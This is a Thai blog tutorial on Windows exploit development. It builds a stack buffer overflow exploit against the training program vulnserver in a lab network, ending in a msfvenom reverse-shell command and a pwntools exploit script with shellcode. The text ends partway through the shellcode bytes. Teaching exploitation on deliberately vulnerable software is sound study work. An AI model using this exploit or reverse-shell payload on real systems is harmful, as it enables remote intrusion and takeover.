แฮก Windows Binary ด้วย buffer overflow แบบง่าย ๆ ตอนที่ 1 — เขียนทับ EIP ตรง ๆ

Pichaya Morimoto
10 min readAug 23, 2018

--

บทความนี้ ตั้งใจเป็นซีรี่ย์สอน Windows exploit development พื้นฐานฉบับภาษาไทย คล้าย ๆ กับบล็อค thtutz ของ sleepya ที่เน้น Linux เป็นหลัก เพื่อให้มีแหล่งอ้างอิง ภาษาไทยเกี่ยวกับ IT Security เหมือนพี่จีน เยอรมัน รัสเซียมีของภาษาตัวเองกัน ทำให้เข้าถึงคนที่อยากมาสายนี้ได้ศึกษาง่ายขึ้น ส่วนโปรแกรมที่จะเป็นเป้าแฮกคือ vulnserver ตามไปดาวโหลดทั้ง .c และ .exe กันได้ที่

โดยผมจะรัน vulnserver บน Windows Vista SP2 32 bits บน VirtualBox ตั้ง network เป็น Host-Only (เครื่องแฮกเกอร์ IP: 192.168.99.1, เครื่อง vulnserver IP: 192.168.99.100) ถ้าใช้ใคร Windows เวอร์ชั่น อื่น ๆ หรือ setup แบบอื่น ๆ ก็อาจจะได้ผลลัพธ์ไม่เหมือนกัน เอาตามสะดวก

คร่าว ๆ คือ vulnserver เนี่ยเป็นโปรแกรมภาษา C ที่เขียนมาจงใจให้มีช่องโหว่โดนแฮกได้ เพื่อการศึกษา exploit development สำหรับผู้เริ่มต้นมือใหม่เด็กน้อย โดยมันจะทำตัวเป็น network service อยู่ที่ TCP port 9999 ให้เราใช้ TCP client ต่อเข้าไปใช้งานได้ ตัวอย่างการรันโปรแกรมและต่อเข้าไปด้วย netcat เป็นตามนี้

จะเห็นว่าข้างใน โปรแกรมจะมีแบ่งย่อยเป็น command ต่าง ๆ ซึ่งแต่ละอันก็จะใช้เทคนิคการแฮกที่ไม่เหมือนกัน ในบทความนี้เราจะมาดูตัวที่ง่ายที่สุดก่อนคือ TRUN ซึ่งวิธีจะหาช่องโหว่เนี่ย มีหลายแนวทางได้แก่ การทำ fuzzing การ reverse ตัว .exe และการไปดูที่โค้ดตรง ๆ โดยในบทความนี้ เพื่อความง่าย สำหรับตอนที่ 1 เราจะไปดูโค้ดกันเลยแล้วกัน ตัดมาเฉพาะส่วนที่เกี่ยวข้อง

โค้ดที่มีช่องโหว่ vulnserver.c

ส่วนที่ แฮกเกอร์คุมได้ของโปรแกรมนี้คือ RecvBuf จะเห็นว่าถ้าเราใส่คำสั่งเป็น TRUN จะเข้าเงื่อนไข else-if นึง

} else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {

ที่จองพื้นที่ในหน่วยความจำ 3000 bytes แล้วเก็บ pointer ไว้ที่ตัวแปร TrunBuf

char *TrunBuf = malloc(3000); 

จากนั้นถ้าเจอตัวอักษร . (0x46) อยู่ที่ใน ค่าที่รับมา (RecvBuf) จะก๊อปค่า 3000 bytes แรกของ RecvBuf ไปใส่ไว้ในหน่วยความจำที่จองไว้ตรง TrunBuf ที่สร้างไว้ก่อนหน้านี้ด้วยฟังก์ชัน strncpy()

for (i = 5; i < RecvBufLen; i++) {      
if ((char)RecvBuf[i] == '.') {
strncpy(TrunBuf, RecvBuf, 3000);
Function3(TrunBuf);

จากนั้นส่ง TrunBuf เข้าไปที่ฟังก์ชัน Function3() ซึ่งในฟังก์ชันนี้ จะเอาค่าที่รับมา เก็บไว้ในตัวแปร Input

void Function3(char *Input) { 
char Buffer2S[2000];
strcpy(Buffer2S, Input);

จากนั้นเรียกฟังก์ชัน strcpy() เพื่อก๊อปค่าที่ แฮกเกอร์ส่งมาไปใส่ใน ตัวแปร Buffer2S ซึ่งสร้างไว้เป็น byte array ขนาด 2000 bytes

สรุปคือส่งต่อค่าจาก RecvBuf[4096] -ไป-> TrunBuf[3000] -ไป-> Input -ไป->Buffer2S[2000] เห็นอะไรไหม?

ช่องโหว่

ปัญหาของโปรแกรมนี้ในคำสั่ง TRUN คือ มีช่องโหว่ stack-based buffer overflow (เรียกย่อ ๆ ว่า BOF) เพราะว่า ตอนที่ก๊อปค่าที่รับมาไปใส่ในตัวแปร Buffer2S (ขนาด 2000 bytes) มีโอกาสที่ขนาดของ Input (ขนาด 3000 bytes) จะใหญ่เกินกว่า ขนาดของตัวแปร Buffer2S จะเก็บได้ รวมกับความจริงที่ว่าฟังก์ชัน strcpy() เวลามันก๊อปค่าจากต้นทางไปปลายทาง มันไม่มีการเช็คว่าขนาดเกินรึเปล่า มันก๊อปไปเขียนดื้อ ๆ เลยทำให้ เมื่อเขียนค่าเกิน ค่าที่เกินมาจะล้นไปทับหน่วยความจำ stack ที่ไว้เก็บ local var, saved frame pointer (saved EBP), return address (saved EIP) และอื่น ๆ ทำให้เกิดช่องโหว่ buffer overflow ได้ คร่าว ๆ เอาแค่นี้ก่อน สรุปคือตามนี้

...
strncpy(TrunBuf, RecvBuf, 3000); // 1. ค่า RecvBuf มาจาก user input
Function3(TrunBuf); // 2. เก็บ 3000 ตัวแรกเข้า TrunBuf แล้วโยนเข้าฟังก์ชัน
...
void Function3(char *Input) {
char Buffer2S[2000]; // 3. จองตัวแปรไว้เก็บค่าที่รับมาตอนเรียกฟังก์ชัน
strcpy(Buffer2S, Input); // 4. ก๊อปค่าที่รับมาใส่ตัวแปร โดยไม่เช็คใด ๆ รั่ว!

สิ่งที่ขาดหายไปคือระหว่างขั้นตอนที่ 3. กับ 4. ควรมีการตรวจสอบด้วยว่าค่าที่รับเข้ามาไม่ใหญ่เกินกว่า ขนาดตัวแปรที่จองพื้นที่ไว้ จองไว้ 2000 bytes แต่มีโอกาสที่จะรับค่าเข้ามาสูงสุดถึง 3000 bytes ถ้าใส่เกินมาเมื่อไร ก็อาจจะมีปัญหาเกิดอะไรไม่ดีได้

ในภาษา C จะมีบางฟังก์ชันที่เรียกว่าเป็น unsafe อยู่เช่นฟังก์ชัน strcpy() เวลาใช้งานโปรแกรมเมอร์จะต้องเช็คและจัดการ memory เอง ซึ่งมีโอกาสพลาดสูงมาก แต่ในภาษา high level ขึ้นมาอย่าง Java, Python มีการเช็คให้อัตโนมัติ ไม่ค่อยมีปัญหาเรื่องช่องโหว่เกี่ยวกับ memory corruption ในรูปแบบนี้

ลอง

เอาละ มาลองใส่แบบปกติก่อน

แล้วก็ลองใส่แบบเกิน 2000 ตัวดูว่าจะเกิดอะไรขึ้น แต่จะพิมพ์ เยอะ ๆ ขี้เกียจเลยใช้ Python ช่วยพิมพ์ A ให้เยอะ ๆ ตามนี้ (อย่าลืมว่าจะเข้าเงื่อนไขต้องมีจุดด้วย)

$ python -c 'print "TRUN ."+"A"*2500' | ncat 192.168.99.100 9999

จะเห็นว่าแอปจะ crash เพราะว่า เราใส่ค่าตัว A ไป 2500 ตัว ซึ่งเกินกว่าขนาดที่ตัวแปร Buffer2S เก็บได้ (2000 bytes = buffer = พื้นที่สำหรับเก็บ) ค่าที่เกินมันเลย ล้น (overflow) ไปทับค่าอื่น ๆ ซึ่งตัวแปร Buffer2S เป็น local var เลยเก็บในหน่วยความจำที่เรียกว่า stack เราเลยเรียกช่องโหว่นี้ว่า stack-based buffer overflow ง่ายปะ

เอาแค่นี้เราก็เรียกว่าเป็นการแฮกได้แล้ว เพราะโปรแกรม crash เราจะถือว่าการทำแบบนี้เป็นการ exploit โดยใช้ payload เพื่อ denial of service (DoS) ทำให้ระบบหรือโปรแกรมล่มไปได้ต่อมาผมจะเปลี่ยนจากการใช้ zsh ใน Terminal ส่งคำสั่งเป็นเขียนโค้ดด้วยภาษา Python ทำเป็น TCP client ต่อเข้าไปด้วย lib เท่ ๆ ตัวนึงที่รวมฟังก์ชันเกี่ยวกับ แฮก ๆ มาให้ใช้ง่าย ๆ ชื่อว่า pwntools ใครยังไม่มีลงได้ตามนี้ ลงได้เฉพาะ Linux/MacOS นะ

$ pip install pwntools

เอาละมาลองทำแบบตะกี้ แต่เปลี่ยนมาอยู่ในรูปแบบโค้ดล้วน ๆ แทน

from pwn import *
r = remote('192.168.99.100', 9999)
buffer = "A"*2500
payload = "TRUN ." + buffer
r.send(payload)

ลองรันดูควรจะเกิดการ crash เหมือนเดิม

จะเห็นว่าเรียบร้อยใช้งานได้เหมือนกันเป๊ะ แต่การเขียนเป็นโค้ดจะทำให้เราพลิกแพลงอะไรหลาย ๆ อย่างได้สะดวกมากกว่าโดยเฉพาะเทคนิคอื่น ๆ ที่จะพูดถึงในบทความถัดไปจากนี้

เอาละ ทีนี้มาลองดูกันแบบลึกเข้าไปอีกนิดว่า ทำไม vulnserver มันถึง crash ตอนเราใส่ A เข้าไป 2500 ตัว โดยใช้ โปรแกรมชื่อ Immunity Debugger มาดูค่าต่าง ๆ ตอนโปรแกรมทำงาน ดาวโหลดฟรีได้ที่นี่

ลงเรียบร้อยเปิดมาปุ๊บไปที่เมนู File > Open เลือก vulnserver.exe กด Open จะได้

ถ้าใครไม่เคยใช้โปรแกรมแนวนี้มาก่อน มันก็จะดูรก ๆ แปลกตาหน่อย ๆ ไม่ต้องตกใจ ใช้ไปเรื่อย ๆ ก็เข้าใจเอง มันจะทำการ diassembly คือแปลง vulnserver.exe เป็น instruction code ภาษา Assembly (Intel x86) ด้านซ้ายบน แล้วก็ถ้ารันโปรแกรมอยู่มันก็จะโชว์พวก ค่าใน stack memory ขวาล่างและ CPU Register ด้านขวาบน ถ้าใครเรียนสายคอมมา คงจะคุ้น ๆ ในวิชาสถาปัตยกรรมคอมฯ (computer architecture) ถ้าใครไม่เคยเรียนก็ไม่ต้องตกใจ ไม่มีไร ค่อย ๆ รู้ไปทีละอย่างก็พอ

อย่างแรกที่ต้องรู้จักตอนนี้คือ register ชื่อ EIP (Extended Instruction Pointer) มันคือตัวชี้ ที่ชี้ไปที่คำสั่งที่ memory address (ต่อไปขอย่อว่า addr)ที่จะถูกทำงาน เป็นคำสั่งถัดไป จากในรูปข้างบนค่า EIP ชี้ไปที่ 00401130 และ Immunity ใส่ให้ด้วยว่า addr นี้อยู่ใน module vulnserv ฟังก์ชัน ModuleEntryPoint

ต่อมาขอเกริ่นคร่าว ๆ เกี่ยวกับ process memory layout ที่จำเป็นก่อนละกัน มันยาวมาก มีเว็บตปท.อธิบายไว้เยอะ ใครสนใจลึกไปหาอ่านเพิ่มกันเอาเอง 55

ปกติเวลาโปรแกรม PE (.exe) ทำงานใน Windows จะเกิดสิ่งที่เรียกกันว่า process ซึ่งแต่ละ process ก็จะมี หน่วยความจำของตัวเอง เอาไว้เก็บค่าและอะไรต่าง ๆ มากมาย ลองกดปุ่ม alt+m เพื่อเปิด Memory Map window ใน Immunity ตอนเปิด vulnserver.exe แล้วดู แล้วจะเจอไอ่นี่

คือ memory layout ของแต่ละ process จะมี ที่อยู่ (address) เริ่มตั้งแต่ 0000 0000 (สำหรับ Windows 32 bit) อยู่ด้านบนไล่ลงไปถึง ffff ffff ด้านล่าง พอเกิด BOF ปุ๊บ หน่วยความจำ ที่เก็บตัวแปรตัวนึง มันก็จะล้นไปทับส่วนอื่น ๆ ดูในรูปนี้น่าจะเข้าใจ

https://en.wikipedia.org/wiki/Stack_buffer_overflow

รูป A คือมีการจองตัวแปร c[] เก็บค่าขนาด12 bytes (จาก c[0] ถึง c[11]), รูป B คือถ้าใส่ค่าเข้าไปปกติ hello และรูป C คือเวลาเกิด BOF แล้วค่าที่เกินมันล้นไปทับที่อื่น ๆ ได้ ไม่ว่าจะเป็นตัวแปรอื่น *bar, Saved Frame pointer (saved EBP) หรือแม้กระทั้ง Return Address (saved EIP) ที่อยู่ถัดจากกัน

เอาละมาดูกันต่อว่าทำไมมันถึง crash .. ตอนเปิด vulnserver.exe ใน Immunity มา process มันจะโดน paused อยู่ผมกด F9 ให้ สถานะขวาล่างเป็น running จากนั้นรันโค้ด เดิมอีกทีผลที่ได้คือ..

โปรแกรมก็ crash เหมือนเดิม แต่ทีนี้เราจะสังเกตว่าเราสามารถดูข้อมูลต่าง ๆ พวก stack, registers, memory dump ตอน crash แล้วได้ ! สังเกตซ้ายล่างเขียนว่า “Access violation when executing (41414141)” และสังเกตค่า EIP ขวาบนเป็น “41414141” นี้แหละ นี้สาเหตุของการ crash เพราะว่าค่า return address (saved EIP) ของฟังก์ชันถูกเขียนทับด้วยตัว A (ค่า ASCII Hex คือ 0x41) และเมื่อโปรแกรมจะทำงานต่อ มันวิ่งไปหา addr ที่ 0x41414141 แต่ตรงนั้นดันเป็น memory area ที่เข้าถึงไม่ได้ไม่มีโค้ด มันเลยเจ๊ง แล้วโปรแกรมก็พัง เหตุผลมันเป็นงี้ !

ทำให้ BOF กลายเป็น Remote Code Execution (RCE)

เป้าหมายของการแฮกมีหลายจุดประสงค์ อาจจะทำให้แค่ระบบ crash เฉย ๆ ยิง BOF ด้วย A ไปเยอะ ๆ ให้พังก็พอ แต่จุดประสงค์ที่แฮกเกอร์อยากจะทำหลังจากโจมตีช่องโหว่ BOF ได้ คือสิ่งที่เรียกว่า Remote Code Execution หรือย่อ ๆ ว่า RCE คือการ ใส่โค้ดอันตรายเข้าไปในระบบเป้าหมายและสั่งให้ทำงาน ฟังดูเท่ เหมือนในหนังกด ๆ enter แล้วยึดเครื่องเป้าหมายได้ มาดูแบบพื้นฐานสุด ๆ กันว่า เราจะทำแบบนั้นได้ยังไง

วิธีง่ายที่สุดคือถ้าเราคุม buffer ใน 4 bytes ที่เป็น EIP (ที่เห็นเป็น 41414141 ในค่า EIP จากรูปด้านบน)ได้ เราจะสามารถ สั่งให้โปรแกรม กระโดดไปทำงานใน addr ที่เราต้องการได้ (เรียกว่าการคุม execution flow) เพราะอย่างที่บอกไป EIP มันชี้ไปคำสั่งถัดไปที่จะทำงาน ถ้าเราชี้ไปที่ ๆ เก็บโค้ดที่เราใส่เข้าไปได้ แปลว่าเราจะรันคำสั่งอะไรก็ได้..

อธิบายเพิ่มเติมสำหรับมือใหม่: ปกติเวลาฟังก์ชันในโปรแกรมถูกเรียก จะมีพื้นที่ในหน่วยความจำเรียกว่า stack frame ถูกสร้างเห็นภาพง่ายขึ้นจากโค้ดดังต่อไปนี้ เป็นการเรียกฟังก์ชัน openFile() จากตอนโปรแกรมเริ่มทำงานที่ Main() จากนั้นในฟังก์ชัน openFile() มีการเรียกฟังก์ชัน fileExists() ต่ออีกที

https://en.wikibooks.org/wiki/A-level_Computing/AQA/Paper_1/Fundamentals_of_programming/Stack_Frames

หน่วยความจำจะสร้าง stack frame หน้าตาแบบนี้ขึ้นมา เพื่อว่าเวลาเรียกฟังก์ชันซ้อน ๆ กัน ฟังก์ชันตัวในสุด กรณีนี้คือ fileExists() เมื่อทำงานเสร็จ จะสามารถย้อนกลับไปยังฟังก์ชันที่เป็นคนเรียกมันเองคือ openFile() และเมื่อ openFile() ทำงานเสร็จก็จะย้อนกลับไปที่ฟังก์ชัน Main() ได้เพื่อให้โปรแกรมทำงานถูกต้องตามลำดับ

https://en.wikibooks.org/wiki/A-level_Computing/AQA/Paper_1/Fundamentals_of_programming/Stack_Frames

โดยการย้อนกลับไปฟังก์ชันก่อนหน้านี้ทำได้ก็เพราะว่าใน stack frame มีการเก็บค่าชื่อ return address (saved EIP) ไว้ว่าเวลาฟังก์ชันทำงานเสร็จจะย้อนกลับไปที่ไหน ปรากฏว่าถ้าเราแฮกคุม buffer ที่มันจะ overflow ไปทับค่า return address ตรงนี้ได้ เราก็จะสามารถแกล้งหลอกให้โปรแกรมมันกระโดดไปที่อื่น ที่ไม่ใช่ที่ ๆ เราเรียกฟังก์ชันมาได้

คำถามที่ตามมาคือ

  1. จากโค้ด Python ไฟล์ trun1.py เราใส่ A ไปตั้ง 2500 ตัว เราจะรู้ได้ไงว่า 4 ตัว ตรงไหนที่มันทับ EIP พอดี (ตรงนี้เรียกว่าการหา offset ว่าต้องใส่กี่ ตัวถึงจะมาเจอตัวที่ทับ EIP)
  2. สมมุติถ้าเราแก้ 4 ตัวที่มันไปทับ EIP ได้ แล้วจะให้มันชี้ไปที่ไหนดี?

เราจะมาค่อย ๆ ตอบคำถามกันทีละข้อ ข้อแรกวิธีแบบยอดฮิตเค้าสอนกันคือใช้สคริปท์ชื่อ pattern_create กับ pattern_offset หาแต่ผมจะมาสอนวิธีปี 2018 เค้าทำกันละกันคือใช้ pwntools ! ขั้นแรกผมแก้โค้ดจากการส่ง A ไป 2500 ตัวเป็นการส่งค่า pattern อะไรบางอย่างไป 2500 ตัวแทนจาก

buffer = "A"*2500

เป็น (ถ้าใครสงสัยว่ามันได้ค่าอะไรออกมาลอง print ออกมาดูเล่นก็ได้)

buffer = cyclic(2500)

กด ctrl+f12 เพื่อ restart ใน Immunity แล้วยิงเข้าไปใหม่คราวนี้เราจะได้ EIP เป็นค่าอะไรบางอย่างให้จดไว้ก่อน

จะเห็นว่าได้ EIP เป็น 61637561 จากนั้นรันคำสั่ง pwn ต่อไปนี้ใน shell (มันติดมาตั้งแต่ลง pwntools) .. จะเห็นว่าได้ผลลัพธ์เป็น 2006

$ pwn cyclic -l 0x61637561
2006

ตรงนี้หมายความว่า ค่า offset ที่เราใส่ไปในตัวแปร buffer ถัดจาก 2006 ตัว จะเป็น EIP เหตุผลที่มันได้แบบนี้เพราะ cyclic() มันจะสร้าง string pattern ที่ unique ออกมาชนิดที่ว่าเราถ้าใส่ 4 bytes ใด ๆ เข้าไปจะรู้ได้ว่า 4 bytes นั้น ๆ อยู่ห่างจาก byte แรกเท่าไร งงปะ มาดูนี้

$ pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ pwn cyclic -l faaa
20
$ pwn cyclic -l aaao
53

จะเห็นว่าถ้าเราใส่ faaa เข้าไป เราจะได้ 20 เพราะก่อน faaa มันมี 20 ตัว (aaaabaaacaaadaaaeaaa) หรือเราใส่ aaao เข้าไปจะได้ 53 เพราะก่อน aaao มี 53 ตัว (aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaan) มันเป็น ชุด string ที่ทำให้เรารู้ offset ที่อยู่ก่อนถึงตัวมัน (EIP) ได้ !

จากนั้นลองแก้โค้ดใหม่เพื่อทดสอบว่าเราต้องใส่ buffer เป็น A จำนวน 2006 ตัวก่อนถึงจะทับ EIP พอดีเป๊ะจริงรึเปล่า โดยการใส่ค่า buffer เป็นตามนี้แล้วลองรันดู

buffer = "A"*2006 + "BBBB" + "C"* 500

จะได้

จะเห็นว่าค่า EIP ถูกเขียนทับด้วย 42424242 ซึ่ง 42 คือ ASCII hex ของตัว B พอดีเป๊ะ และใน stack ก่อนหน้า B เป็น A ที่เราใส่ไป 2006 ตัวพอดี และต่อท้ายด้วย C (คือ 43 ใน ASCII hex) ที่เราใส่ถัดจาก B นั้นเอง ทำให้เราตอบคำถามข้อแรกได้แล้ว ว่าคุม EIP ได้ไงโดยการใช้ cyclic pattern มาคำนวณนี้เอง สรุป EIP อยู่ 4 bytes ถนัดจาก A จำนวน 2006 ตัวแรก หรือคือตรง BBBB นั้นเอง ต่อมาคือ.. คำถามที่สอง แล้วเราจะชี้ EIP ไปที่ไหนดี?

คำตอบนี้ตอบแบบง่าย ๆ คือชี้ไปที่ โค้ดที่เราอยากจะรัน ต่อจากนี้จะขอเรียกโค้ดที่ว่า ๆ shellcode ละกัน โอเคนะ ถ้าพูดว่า shellcode คือโค้ดที่แฮกเกอร์ ต้องการจะสั่งให้ทำงานหลังจาก BOF เป้าหมายแล้ว ความสนุกของการ เขียน exploit BOF นอกจากหาจุดกับเงื่อนไขที่จะ overflow ให้เจอแล้วคือ การหาว่าจะรัน shellcode ยังไงเนี่ยแหละ มีหลากหลายท่าเหลือเกิน บทความนี้จะมานำเสนอท่าง่ายสุดของ Windows ละกัน

รู้จักกับ shellcode แบบเร็วที่สุดใน 3 โลก

ให้ลง Metasploit (ใครลงไม่เป็นก็ลง Kali linux แทน) แล้วรันคำสั่งนี้ใน shell

$ msfvenom -l payload |grep windows

ตัวอย่าง shellcode ก็เช่นคำสั่งที่ทำให้เราเพิ่ม user เข้าไปในระบบได้ (ถ้า process ที่รัน shellcode นั้นมีสิทธิ์ใน Windows พอที่จะทำ) หรือเอาแบบยืดหยุ่นสุด ๆ คือ shellcode ที่ทำให้เราได้ command shell (cmd.exe) ไปรันคำสั่งอื่น ๆ เพิ่มเติมได้ โดย shellcode ที่ทำให้ได้ command shell จะมี 2 วิธีหลัก ๆ คือ

  1. bind shell คือการให้ เครื่องคอมฯ เป้าหมายที่รัน shellcode เปิด port แล้วแฮกเกอร์ต่อเข้าไป แล้วได้ cmd.exe
  2. reverse shell คือการให้ เครื่องคอมฯ เป้าหมายที่รัน shellcode ต่อกลับมา IP ผ่าน port บนเครื่องแฮกเกอร์ แล้วส่ง cmd.exe มาให้แฮกเกอร์ใช้งานที่ port นั้น

คร่าว ๆ ตามนี้ ในที่นี้ผมจะใช้ reverse shell ละกัน โดยให้เครื่องที่รัน shellcode นี้จะต่อกลับมา IP 192.168.99.1 ที่ TCP port 1112 และให้แสดง shellcode สำหรับใช้ในตัวแปรภาษา Python จะได้ก๊อปไปแปะง่าย ๆ 55

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.99.1 LPORT=1112 -f python -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1684 bytes
buf = ""
buf += "\xda\xdd\xd9\x74\x24\xf4\x5b\xba\xb2\xf6\x4f\xa0\x29"
...

จะได้ค่า buf ออกมา สิ่งที่อยากให้สังเกตมี 2 อย่างคือ (1) ผมใส่ -b ‘\x00’ ด้วยแต่ยังไม่ขอพูดถึงว่า badchar คืออะไร ใส่ทำไม และ (2) ขนาดของ shellcode คือ 351 bytes จากนั้นก๊อปค่า buf ที่ได้ไปแปะในโค้ด แต่เอ.. แปะตรงไหนดี? กลับไปมองที่ Immunity อีกรอบละกัน

จะเห็นว่ามี CPU register ตัวนึงชื่อ ESP กำลังชี้ไปที่ addr ตำแหน่ง 00FBF9E0 ซึ่งเป็น stack เก็บค่า CCCC… ที่เราใส่เข้าไป ตรงนี้เหมาะมาก ๆ สำหรับการเก็บ shellcode เพราะว่า …

  1. ถ้าเราใส่ไปในบางส่วนของ 2006 ตัวแรกก่อน EIP (ที่เป็น AAAA…) ปัญหาคือเวลาโปรแกรม BOF ใหม่แต่ละรอบเราจะได้ addr ของ stack ที่เปลี่ยนไปเสมอ (ตรงนี้ไม่เกี่ยวกับ ASLR มีไม่มีมันก็ได้ค่าเปลี่ยน) ทำให้เราไม่สามารถ hardcode ฝังค่า addr ของ stack ส่วนที่เป็น AAAA… ไปตรง ๆ ได้ ใครอยากรู้จริงไหม ลอง restart โปรแกรมแล้วยิงหลาย ๆ รอบดูเทสมาให้แล้ว ได้ตามนี้ (เอาจริง ๆ จะใส่ตรงนี้ก็มีวิธีแหละ แต่จะพูดถึงในตอนถัด ๆ ไป ขอเริ่มท่าธรรมดาก่อน) รันสามรอบ
00F6F200   4E555254  TRUN
00EFF200 4E555254 TRUN
00EAF200 4E555254 TRUN

2. ถ้าเราใส่ shellcode ไปใน stack ในส่วนที่ ESP ชี้ไปพอดีเป๊ะ ๆ เหมือนกรณีนี้คือ ESP ชี้ไปที่ addr ตามรูปด้านบน 00FBF9E0 คือชี้ไปตัวแรกของ C เป๊ะ ๆ พอดีเนี่ย เราสามารถใช้เทคนิคเท่ ๆ คูล ๆ ด้วยการเขียนเขียน EIP (ตรง BBBB) ไปที่คำสั่ง jmp esp หรือ call esp ใน module ใด ๆ ที่ถูก load มาใน addr space ของ process นี้ เช่น .dll อื่น ๆ ที่เรียกมาใช้งานจาก LoadLibrary หรือ #include เข้ามา, โดยการ jmp esp หรือ call esp จะทำให้เรากระโดด (จาก EIP ตำแหน่งปัจจุบัน) เข้าไปรันโค้ดใน ESP ที่เรากำลังเห็นเป็น CCC.. ได้ ซึ่งต่อจากนี้เราจะเก็บ shellcode ที่จะรันจริง ๆ ไว้ตรงนี้

การแฮก buffer overflow ในท่านี้ รู้จักกันในชื่อ Vanilla EIP Overwrite คือเป็นท่าเบสิกสุดเลย

เราสามารถ คลิกขวาใน Immunity เลือก View ดู module ของ process vulnserver.exe ได้ (ตัวอย่างเช่นโปรแกรมนี้มีการเปิด TCP socket เลยมีการโหลด WS2_32.dll จาก system32 มาใช้ด้วย)

หรือกด alt+E ก็ได้จะเห็น local path ด้วย และสังเกตจากคอลัมน์ Base ว่า module อยู่ใน addr space ของ process หมดเลย (ระหว่าง 0000 0000 กับ ffff ffff) โดยจะอยู่ด้านล่างถัดลงมาจาก stack เป็น program image (vulnserver.exe) และถัดลงมาถึงเป็น DLL ทั้งหลาย

โดยเงื่อนไขคือตัว module หรือ DLL ที่เราจะชี้ EIP ไป addr แถวนั้น (เพื่อรัน CALL ESP หรือ JMP ESP) ได้คือจะต้องไม่ถูก compile มาด้วยออฟชั่น /DYNAMICBASE (REBASE/ASLR) ใน Visual C++ เราถึงจะกระโดดไปจุดเดิมที่เราต้องการตลอด (อย่าสับสนระหว่าง addr ของ stack ตอนรัน ใน process memory กับ addr ใน โค้ดของ ไฟล์ที่เป็น module ที่เราจะโดดไป)

https://blogs.msdn.microsoft.com/vcblog/2009/05/21/dynamicbase-and-nxcompat/

การหาคำสั่ง JMP ESP

เราสามารถใช้ mona.py ดาวโหลดที่นี่ วิธีลงคือก๊อปไปไว้ใน C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\ แล้วลง Python ในเครื่องปิด Immunity Debugger เปิดใหม่ แล้วพิมพ์ คำสั่งในช่องด้านล่างว่า

!mona jmp -r esp

จะเห็นว่าเราสามารถใช้ mona ช่วยหา คำสั่ง jmp esp ใน module ต่าง ๆ ของ process ได้ ในกรณีนี้เราเจออยู่ในไฟล์ essfunc.dll ตรงตามเงื่อนไขเลยคือ ASLR: False และ Rebase: False นะจ่ะ เอาง่าย ๆ ก็เลือกอันแรกเลยแล้วกัน

0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- 

จากนั้นเราก็ประกอบร่างทุกอย่าง โดยเอา shellcode ที่สร้างจาก msfvenom ไปใส่แทน CCCC… เพื่อให้ไปเก็บอยู่ใน ESP และเขียนทับ EIP (ตรง BBBB เดิม) ด้วย addr ที่ชี้ ไป jmp esp ซึ่งค่า addr นี้จะ เหมือนเดิมตลอดไม่ว่าโปรแกรมจะรันใหม่อีกกี่ครั้งก็ตาม พอ EIP ชี้ไปที่ jmp esp (ใน essfunc.dll) แล้วรันก็จะกระโดดไปลงตรง shellcode ที่เก็บอยู่ใน ESP แทน CCCC… พอดี

จากโค้ดเดิมตอนแรก

from pwn import *
r = remote('192.168.99.100', 9999)
buf = "A"*2006 + "BBBB" + "C"* 500
payload = "TRUN ." + buf
r.send(payload)

หลังจากเราวิเคราะห์เรียบร้อยแล้ว แก้ไขปุ๊บ จะได้เป็น…

# @author LongCat
from pwn import *
r = remote('192.168.99.100', 9999)
# $ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.99.1 LPORT=1112 -f python -b '\x00'
buf = ""
buf += "\xd9\xe1\xba\xeb\x3e\x90\x5b\xd9\x74\x24\xf4\x5d\x2b"
buf += "\xc9\xb1\x52\x31\x55\x17\x03\x55\x17\x83\x2e\x3a\x72"
buf += "\xae\x4c\xab\xf0\x51\xac\x2c\x95\xd8\x49\x1d\x95\xbf"
buf += "\x1a\x0e\x25\xcb\x4e\xa3\xce\x99\x7a\x30\xa2\x35\x8d"
buf += "\xf1\x09\x60\xa0\x02\x21\x50\xa3\x80\x38\x85\x03\xb8"
buf += "\xf2\xd8\x42\xfd\xef\x11\x16\x56\x7b\x87\x86\xd3\x31"
buf += "\x14\x2d\xaf\xd4\x1c\xd2\x78\xd6\x0d\x45\xf2\x81\x8d"
buf += "\x64\xd7\xb9\x87\x7e\x34\x87\x5e\xf5\x8e\x73\x61\xdf"
buf += "\xde\x7c\xce\x1e\xef\x8e\x0e\x67\xc8\x70\x65\x91\x2a"
buf += "\x0c\x7e\x66\x50\xca\x0b\x7c\xf2\x99\xac\x58\x02\x4d"
buf += "\x2a\x2b\x08\x3a\x38\x73\x0d\xbd\xed\x08\x29\x36\x10"
buf += "\xde\xbb\x0c\x37\xfa\xe0\xd7\x56\x5b\x4d\xb9\x67\xbb"
buf += "\x2e\x66\xc2\xb0\xc3\x73\x7f\x9b\x8b\xb0\xb2\x23\x4c"
buf += "\xdf\xc5\x50\x7e\x40\x7e\xfe\x32\x09\x58\xf9\x35\x20"
buf += "\x1c\x95\xcb\xcb\x5d\xbc\x0f\x9f\x0d\xd6\xa6\xa0\xc5"
buf += "\x26\x46\x75\x49\x76\xe8\x26\x2a\x26\x48\x97\xc2\x2c"
buf += "\x47\xc8\xf3\x4f\x8d\x61\x99\xaa\x46\x4e\xf6\xd7\x97"
buf += "\x26\x05\x17\x9c\xee\x80\xf1\xf6\x1e\xc5\xaa\x6e\x86"
buf += "\x4c\x20\x0e\x47\x5b\x4d\x10\xc3\x68\xb2\xdf\x24\x04"
buf += "\xa0\x88\xc4\x53\x9a\x1f\xda\x49\xb2\xfc\x49\x16\x42"
buf += "\x8a\x71\x81\x15\xdb\x44\xd8\xf3\xf1\xff\x72\xe1\x0b"
buf += "\x99\xbd\xa1\xd7\x5a\x43\x28\x95\xe7\x67\x3a\x63\xe7"
buf += "\x23\x6e\x3b\xbe\xfd\xd8\xfd\x68\x4c\xb2\x57\xc6\x06"
